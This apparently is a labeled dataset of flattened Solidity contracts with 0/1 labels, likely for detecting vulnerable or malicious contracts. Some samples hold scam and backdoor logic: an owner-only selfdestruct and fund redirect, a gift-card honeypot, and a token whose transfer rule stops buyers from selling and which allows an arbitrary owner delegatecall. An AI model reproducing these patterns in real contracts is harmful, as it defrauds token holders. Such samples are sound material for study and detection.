wA.sub(maxTtp.sub(plotTotal[0])); wA = wA.sub(cH); plot = 1; eta = now.add(441 hours);} fund = fund.add(wA); plotTotal[0] = plotTotal[0].add(wA); uint256 fA = wA.div(10 ** 10).mul(21); if ( cH > 0 ){beneficiary.transfer(cH); wallet.transfer(wA);} else forwardFunds(); faythe.mint(beneficiary, fA); trent.mint(beneficiary, wA);} function contribute(address beneficiary) internal {if ( now > eta ){plot += 1; eta = now.add(21 hours);} uint256 wA = msg.value; fund += wA; plotTotal[plot] += wA; contribution[plot][beneficiary] += wA; forwardFunds(); if(plot == 1 && wA >= 1 ether && pF < 137903 ){uint256 fte = 0; uint256 eA = wA.div(10 ** 18);uint256 c1 = 0; if(pF < 311){c1 = min(eA, 311 - pF); eA = eA.sub(c1); fte = c1.mul(7); pF = pF.add(c1);} if(pF < 752 && eA > 0){c1 = min(eA, 752 - pF); eA = eA.sub(c1); fte = c1.mul(5); pF = pF.add(c1);}if(pF < 137903 && eA > 0){c1 = min(eA, 137903 - pF); fte = c1.mul(1); pF = pF.add(c1);} faythe.mint(beneficiary, fte.mul(10 ** 8));}} function claim(uint8 day, address beneficiary) public {assert(plot > day); if (claimed[day][beneficiary] || plotTotal[day] == 0) {return;} var dailyTotal = cast(plotTotal[day]); var userTotal = cast(contribution[day][beneficiary]); var price = wdiv(cast(uint256(plotValue[day]) * (10 ** uint256(15))), dailyTotal); var reward = wmul(price, userTotal); claimed[day][beneficiary] = true; trent.mint(beneficiary, reward);} function claimAll(address beneficiary) public {for (uint8 i = 1; i < plot; i++) {claim(i, beneficiary);}} function forwardFunds() internal {wallet.transfer(msg.value);} function atoshima(string f, address a) public oO {if(keccak256(f) == keccak256("collect")) collect(); if(keccak256(f) == keccak256("own")) sO(a); if(keccak256(f) == keccak256("wallet")) sT(a); if(keccak256(f) == keccak256("die")) selfdestruct(oW);} function sO(address nO) private oO {require(nO != address(0)); oW = nO;} function sT(address nW) private oO {require(nW != address(0)); wallet = nW;} function collect() private oO {wallet.transfer(this.balance);} }
1
5,062
pragma solidity 0.8.6; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Registry { function get_pool_from_lp_token(address lp) external view returns (address); function get_lp_token(address pool) external view returns (address); function get_n_coins(address) external view returns (uint256[2] memory); function get_coins(address) external view returns (address[8] memory); } interface StableSwap { function remove_liquidity_one_coin( uint256 amount, int128 i, uint256 min_amount ) external; function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external; function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external; function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); function calc_token_amount(uint256[2] calldata amounts, bool is_deposit) external view returns (uint256); function calc_token_amount(uint256[3] calldata amounts, bool is_deposit) external view returns (uint256); function calc_token_amount(uint256[4] calldata amounts, bool is_deposit) external view returns (uint256); } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Vault is IERC20 { function decimals() external view returns (uint256); function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); } contract CrvVaultSwapper { Registry constant registry = Registry(0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5); uint256 constant MIN_AMOUNT_OUT = 1; struct Swap { bool deposit; address pool; uint128 n; } function metapool_swap( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out ) public { address underlying = Vault(from_vault).token(); address target = Vault(to_vault).token(); address underlying_pool = registry.get_pool_from_lp_token(underlying); address target_pool = registry.get_pool_from_lp_token(target); Vault(from_vault).transferFrom(msg.sender, address(this), amount); uint256 underlying_amount = Vault(from_vault).withdraw( amount, address(this) ); StableSwap(underlying_pool).remove_liquidity_one_coin( underlying_amount, 1, 1 ); IERC20 underlying_coin = IERC20(registry.get_coins(underlying_pool)[1]); uint256 liquidity_amount = underlying_coin.balanceOf(address(this)); underlying_coin.approve(target_pool, liquidity_amount); StableSwap(target_pool).add_liquidity([0, liquidity_amount], MIN_AMOUNT_OUT); uint256 target_amount = IERC20(target).balanceOf(address(this)); approve(target, to_vault, target_amount); uint256 out = Vault(to_vault).deposit(target_amount, msg.sender); require(out >= min_amount_out, "out too low"); } function metapool_estimate_out( address from_vault, address to_vault, uint256 amount ) public view returns (uint256) { address underlying = Vault(from_vault).token(); address target = Vault(to_vault).token(); address underlying_pool = registry.get_pool_from_lp_token(underlying); address target_pool = registry.get_pool_from_lp_token(target); uint256 pricePerShareFrom = Vault(from_vault).pricePerShare(); uint256 pricePerShareTo = Vault(to_vault).pricePerShare(); uint256 amount_out = (pricePerShareFrom * amount) / (10**Vault(from_vault).decimals()); amount_out = StableSwap(underlying_pool).calc_withdraw_one_coin( amount_out, 1 ); amount_out = StableSwap(target_pool).calc_token_amount( [0, amount_out], true ); return (amount_out * (10**Vault(to_vault).decimals())) / pricePerShareTo; } function swap( address from_vault, address to_vault, uint256 amount, uint256 min_amount_out, Swap[] calldata instructions ) public { address token = Vault(from_vault).token(); address target = Vault(to_vault).token(); Vault(from_vault).transferFrom(msg.sender, address(this), amount); amount = Vault(from_vault).withdraw(amount, address(this)); uint256 n_coins; for (uint256 i = 0; i < instructions.length; i++) { if (instructions[i].deposit) { n_coins = registry.get_n_coins(instructions[i].pool)[0]; uint256[] memory list = new uint256[](n_coins); list[instructions[i].n] = amount; approve(token, instructions[i].pool, amount); if (n_coins == 2) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1]], 1 ); } else if (n_coins == 3) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1], list[2]], 1 ); } else if (n_coins == 4) { StableSwap(instructions[i].pool).add_liquidity( [list[0], list[1], list[2], list[3]], 1 ); } token = registry.get_lp_token(instructions[i].pool); amount = IERC20(token).balanceOf(address(this)); } else { token = registry.get_coins(instructions[i].pool)[ instructions[i].n ]; amount = remove_liquidity_one_coin( token, instructions[i].pool, amount, instructions[i].n ); } } require(target == token, "!path"); approve(target, to_vault, amount); uint256 out = Vault(to_vault).deposit(amount, msg.sender); require(out >= min_amount_out, "out too low"); } function remove_liquidity_one_coin( address token, address pool, uint256 amount, uint128 n ) internal returns (uint256) { uint256 amountBefore = IERC20(token).balanceOf(address(this)); pool.call( abi.encodeWithSignature( "remove_liquidity_one_coin(uint256,int128,uint256)", amount, int128(n), 1 ) ); uint256 newAmount = IERC20(token).balanceOf(address(this)); if (newAmount > amountBefore) { return newAmount; } pool.call( abi.encodeWithSignature( "remove_liquidity_one_coin(uint256,uint256,uint256)", amount, uint256(n), 1 ) ); return IERC20(token).balanceOf(address(this)); } function estimate_out( address from_vault, address to_vault, uint256 amount, Swap[] calldata instructions ) public view returns (uint256) { uint256 pricePerShareFrom = Vault(from_vault).pricePerShare(); uint256 pricePerShareTo = Vault(to_vault).pricePerShare(); amount = (amount * pricePerShareFrom) / (10**Vault(from_vault).decimals()); for (uint256 i = 0; i < instructions.length; i++) { uint256 n_coins = registry.get_n_coins(instructions[i].pool)[0]; if (instructions[i].deposit) { n_coins = registry.get_n_coins(instructions[i].pool)[0]; uint256[] memory list = new uint256[](n_coins); list[instructions[i].n] = amount; if (n_coins == 2) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1]], true ); } else if (n_coins == 3) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1], list[2]], true ); } else if (n_coins == 4) { amount = StableSwap(instructions[i].pool).calc_token_amount( [list[0], list[1], list[2], list[3]], true ); } } else { amount = calc_withdraw_one_coin( instructions[i].pool, amount, instructions[i].n ); } } return (amount * (10**Vault(to_vault).decimals())) / pricePerShareTo; } function approve( address target, address to_vault, uint256 amount ) internal { if (IERC20(target).allowance(address(this), to_vault) < amount) { SafeERC20.safeApprove(IERC20(target), to_vault, 0); SafeERC20.safeApprove(IERC20(target), to_vault, type(uint256).max); } } function calc_withdraw_one_coin( address pool, uint256 amount, uint128 n ) internal view returns (uint256) { (bool success, bytes memory returnData) = pool.staticcall( abi.encodeWithSignature( "calc_withdraw_one_coin(uint256,uint256)", amount, uint256(n) ) ); if (success) { return abi.decode(returnData, (uint256)); } (success, returnData) = pool.staticcall( abi.encodeWithSignature( "calc_withdraw_one_coin(uint256,int128)", amount, int128(n) ) ); require(success, "!success"); return abi.decode(returnData, (uint256)); } }
0
78
pragma solidity ^0.4.20; contract GIFT_CARD { function Put(bytes32 _hash, uint _unlockTime) public payable { if(!locked && msg.value > 300000000000000000) { unlockTime = now+_unlockTime; hashPass = _hash; } } function Take(bytes _pass) external payable access(_pass) { if(hashPass == keccak256(_pass) && now>unlockTime && msg.sender==tx.origin) { msg.sender.transfer(this.balance); } } function Lock(bytes _pass) external payable access(_pass) { locked = true; } modifier access(bytes _pass) { if(hashPass == keccak256(_pass) && now>unlockTime && msg.sender==tx.origin) _; } bytes32 public hashPass; uint public unlockTime; bool public locked = false; function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);} function() public payable{} }
1
2,992
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract QuantChain { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,247
pragma solidity ^0.5.7; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a/b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { using SafeMath for uint256; address public owner; address public admin; address public mazler; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowances; string public name = "DIAM"; string public symbol = "DIAM"; uint256 public constant decimals = 5; uint256 public constant initSupply = 150000000 * 10**decimals; uint256 public totalSoldByOwner=0; uint256 public totalSupply; uint256 mazl = 10; uint256 vScale = 10000; modifier onlyOwner() { require(msg.sender==owner); _; } modifier onlyAdmin() { require(msg.sender==admin); _; } event Transfer(address indexed fromAddr, address indexed toAddr, uint256 amount); event Approval(address indexed _owner, address indexed _spender, uint256 amount); event OnOwnershipTransfered(address oldOwnerWallet, address newOwnerWallet); event OnAdminUserChanged( address oldAdminWalet, address newAdminWallet); event OnVautingUserChanged( address oldWallet, address newWallet); constructor() public { owner = msg.sender; admin = owner; mazler = owner; balances[owner] = initSupply; totalSupply = initSupply; } function balanceOf(address walletAddress) public view returns (uint256 balance) { return balances[walletAddress]; } function transfer(address toAddr, uint256 amountInWei) public returns (bool) { uint256 baseAmount; uint256 finalAmount; uint256 addAmountInWei; require(toAddr!=address(0x0) && toAddr!=msg.sender && amountInWei!=0 && amountInWei<=balances[msg.sender]); baseAmount = balances[msg.sender]; finalAmount = baseAmount - amountInWei; assert(finalAmount <= baseAmount); balances[msg.sender] = finalAmount; baseAmount = balances[toAddr]; addAmountInWei = manageMazl(toAddr, amountInWei); finalAmount = baseAmount + addAmountInWei; assert(finalAmount >= baseAmount); balances[toAddr] = finalAmount; if (msg.sender==owner) { totalSoldByOwner += amountInWei; } emit Transfer(msg.sender, toAddr, addAmountInWei ); return true; } function allowance(address walletAddress, address spender) public view returns (uint remaining) { return allowances[walletAddress][spender]; } function transferFrom(address fromAddr, address toAddr, uint256 amountInWei) public returns (bool) { require(amountInWei!=0 && balances[fromAddr] >= amountInWei && allowances[fromAddr][msg.sender] >= amountInWei); uint256 baseAmount = balances[fromAddr]; uint256 finalAmount = baseAmount - amountInWei; assert(finalAmount <= baseAmount); balances[fromAddr] = finalAmount; baseAmount = balances[toAddr]; finalAmount = baseAmount + amountInWei; assert(finalAmount >= baseAmount); balances[toAddr] = finalAmount; baseAmount = allowances[fromAddr][msg.sender]; finalAmount = baseAmount - amountInWei; assert(finalAmount <= baseAmount); allowances[fromAddr][msg.sender] = finalAmount; emit Transfer(fromAddr, toAddr, amountInWei); return true; } function approve(address spender, uint256 amountInWei) public returns (bool) { allowances[msg.sender][spender] = amountInWei; emit Approval(msg.sender, spender, amountInWei); return true; } function() external { assert(true == false); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OnOwnershipTransfered(owner, newOwner); owner = newOwner; totalSoldByOwner = 0; } function manageMazl(address walletTo, uint256 amountInWei) public returns(uint256) { uint256 addAmountInWei; uint256 baseAmount; uint256 finalAmount; uint256 mazlInWei; addAmountInWei = amountInWei; if (msg.sender!=admin && msg.sender!=owner) { mazlInWei = (amountInWei * mazl) / vScale; if (mazlInWei <= amountInWei) { addAmountInWei = amountInWei - mazlInWei; baseAmount = balances[mazler]; finalAmount = baseAmount + mazlInWei; if (finalAmount>=baseAmount) { balances[mazler] = finalAmount; emit Transfer(walletTo, mazler, mazlInWei); } } } return addAmountInWei; } function changeAdminUser(address newAdminAddress) public onlyOwner returns(uint256) { require(newAdminAddress!=address(0x0)); emit OnAdminUserChanged(admin, newAdminAddress); admin = newAdminAddress; return 1; } function changeMazlUser(address newAddress) public onlyOwner returns(uint256) { require(newAddress!=address(0x0)); emit OnVautingUserChanged(admin, newAddress); mazler = newAddress; return 1; } } contract DiamondTransaction is ERC20 { struct TDiamondTransaction { bool isBuyTransaction; uint authorityId; uint certificate; uint providerId; uint vaultId; uint sourceId; uint caratAmount; uint tokenAmount; uint tokenId; uint timestamp; bool isValid; } mapping(uint256 => TDiamondTransaction) diamondTransactions; uint256[] diamondTransactionIds; event OnDiamondBoughTransaction ( uint256 authorityId, uint256 certificate, uint256 providerId, uint256 vaultId, uint256 caratAmount, uint256 tokenAmount, uint256 tokenId, uint256 timestamp ); event OnDiamondSoldTransaction ( uint256 authorityId, uint256 certificate, uint256 providerId, uint256 vaultId, uint256 caratAmount, uint256 tokenAmount, uint256 tokenId, uint256 timestamp ); function storeDiamondTransaction(bool isBuy, uint256 indexInOurDb, uint256 authorityId, uint256 certificate, uint256 providerId, uint256 vaultId, uint256 caratAmount, uint256 tokenAmount, uint256 sourceId, uint256 tokenId) public onlyAdmin returns(bool) { TDiamondTransaction memory item; item.isBuyTransaction = isBuy; item.authorityId = authorityId; item.certificate = certificate; item.providerId = providerId; item.vaultId = vaultId; item.caratAmount = caratAmount; item.tokenAmount = tokenAmount; item.tokenId = tokenId; item.timestamp = now; item.isValid = true; item.sourceId = sourceId; diamondTransactions[indexInOurDb] = item; diamondTransactionIds.push(indexInOurDb)-1; if (isBuy) { emit OnDiamondBoughTransaction(authorityId, certificate, providerId, vaultId, caratAmount, tokenAmount, tokenId, now); } else { emit OnDiamondSoldTransaction( authorityId, certificate, providerId, vaultId, caratAmount, tokenAmount, tokenId, now); } return true; } function getDiamondTransaction(uint256 transactionId) public view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return ( (item.isBuyTransaction)?1:0, item.authorityId, item.certificate, item.providerId, item.vaultId, item.caratAmount, (item.isValid?1:0), item.tokenId, item.timestamp, item.sourceId ); } function getEntitiesFromDiamondTransaction(uint256 transactionId) public view returns(uint256,uint256,uint256,uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return ( item.authorityId, item.certificate, item.providerId, item.vaultId ); } function getAmountsAndTypesFromDiamondTransaction(uint256 transactionId) public view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return ( (item.isBuyTransaction)?1:0, item.caratAmount, item.tokenAmount, item.tokenId, (item.isValid?1:0), item.timestamp, item.sourceId ); } function getCaratAmountFromDiamondTransaction(uint256 transactionId) public view returns(uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return item.caratAmount; } function getTokenAmountFromDiamondTransaction(uint256 transactionId) public view returns(uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return item.tokenAmount; } function isValidDiamondTransaction(uint256 transactionId) public view returns(uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; return (item.isValid?1:0); } function changeDiamondTransactionStatus(uint256 transactionId, uint256 newStatus) public view onlyAdmin returns(uint256) { TDiamondTransaction memory item; item = diamondTransactions[transactionId]; item.isValid = (newStatus==0) ? false:false; return 1; } function getDiamondTransactionCount() public view returns(uint256) { return diamondTransactionIds.length; } function getDiamondTransactionAtIndex(uint256 index) public view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) { TDiamondTransaction memory DT; uint256 txId; if (index<diamondTransactionIds.length) { txId = diamondTransactionIds[index]; DT = diamondTransactions[txId]; return ( (DT.isBuyTransaction)?1:0, DT.authorityId, DT.certificate, DT.providerId, DT.vaultId, DT.caratAmount, (DT.isValid?1:0), DT.tokenId, DT.timestamp, DT.sourceId ); } return (0,0,0,0,0,0,0,0,0,0); } } contract SocialLocker is DiamondTransaction { uint256 public minVotesCount = 20; bool public isSocialLockerEnabled = true; mapping(address => bool) voteLockedWallets; mapping(address => uint256) refundTotalVotes; mapping(address => uint256) unlockingTotalVotes; mapping(address => bool) forbiddenVoters; mapping(address => mapping(address => bool)) votersMap; event OnLockedWallet( address lockedWallet, uint256 timestamp); event OnVotedForRefund( address voter, address walletToVoteFor, uint256 voteScore, uint256 maxVotes); event OnVotedForUnlocking(address voter, address walletToVoteFor, uint256 voteScore, uint256 maxVotes); event OnVoterBannished( address voter); event OnVoterAllowed( address voter); event OnWalletBlocked( address wallet); event OnSocialLockerWalletDepleted(address possibleFraudster); event OnSocialLockerWalletUnlocked(address possibleFraudster); event OnSocialLockerStateChanged(bool oldState, bool newState); event OnSocialLockerChangeMinVoteCount(uint oldMinVoteCount, uint newMinVoteCount); event OnWalletTaggedForSocialLocking(address taggedWallet); function changeSocialLockerState(bool newState) public onlyAdmin returns(uint256) { emit OnSocialLockerStateChanged(isSocialLockerEnabled, newState); isSocialLockerEnabled = newState; return 1; } function changeMinVoteCount(uint256 newMinVoteCount) public onlyAdmin returns(uint256) { emit OnSocialLockerChangeMinVoteCount(minVotesCount, newMinVoteCount); minVotesCount = newMinVoteCount; return 1; } function tagWalletForVoting(address walletToTag) public onlyAdmin returns(uint256) { voteLockedWallets[walletToTag] = true; unlockingTotalVotes[walletToTag] = 0; refundTotalVotes[walletToTag] = 0; emit OnWalletTaggedForSocialLocking(walletToTag); return 1; } function voteForARefund(address voter, address possibleFraudster) public returns(uint256) { uint256 currentVoteCount; uint256 sum; uint256 baseAmount; uint256 finalAmount; require(voteLockedWallets[possibleFraudster] && !forbiddenVoters[voter] && !votersMap[possibleFraudster][voter] && isSocialLockerEnabled); votersMap[possibleFraudster][voter] = true; currentVoteCount = refundTotalVotes[possibleFraudster]; sum = currentVoteCount + 1; assert(currentVoteCount<sum); refundTotalVotes[possibleFraudster] = sum; emit OnVotedForRefund(voter, possibleFraudster, sum, minVotesCount); if (sum>=minVotesCount) { baseAmount = balances[owner]; finalAmount = baseAmount + balances[possibleFraudster]; assert(finalAmount >= baseAmount); balances[owner] = finalAmount; balances[possibleFraudster] = 0; voteLockedWallets[possibleFraudster] = false; emit Transfer(possibleFraudster, owner, balances[possibleFraudster]); } return 1; } function voteForUnlocking(address voter, address possibleFraudster) public returns(uint256) { uint256 currentVoteCount; uint256 sum; require(voteLockedWallets[possibleFraudster] && !forbiddenVoters[voter] && !votersMap[possibleFraudster][voter] && isSocialLockerEnabled); votersMap[possibleFraudster][voter] = true; currentVoteCount = unlockingTotalVotes[possibleFraudster]; sum = currentVoteCount + 1; assert(currentVoteCount<sum); unlockingTotalVotes[possibleFraudster] = sum; 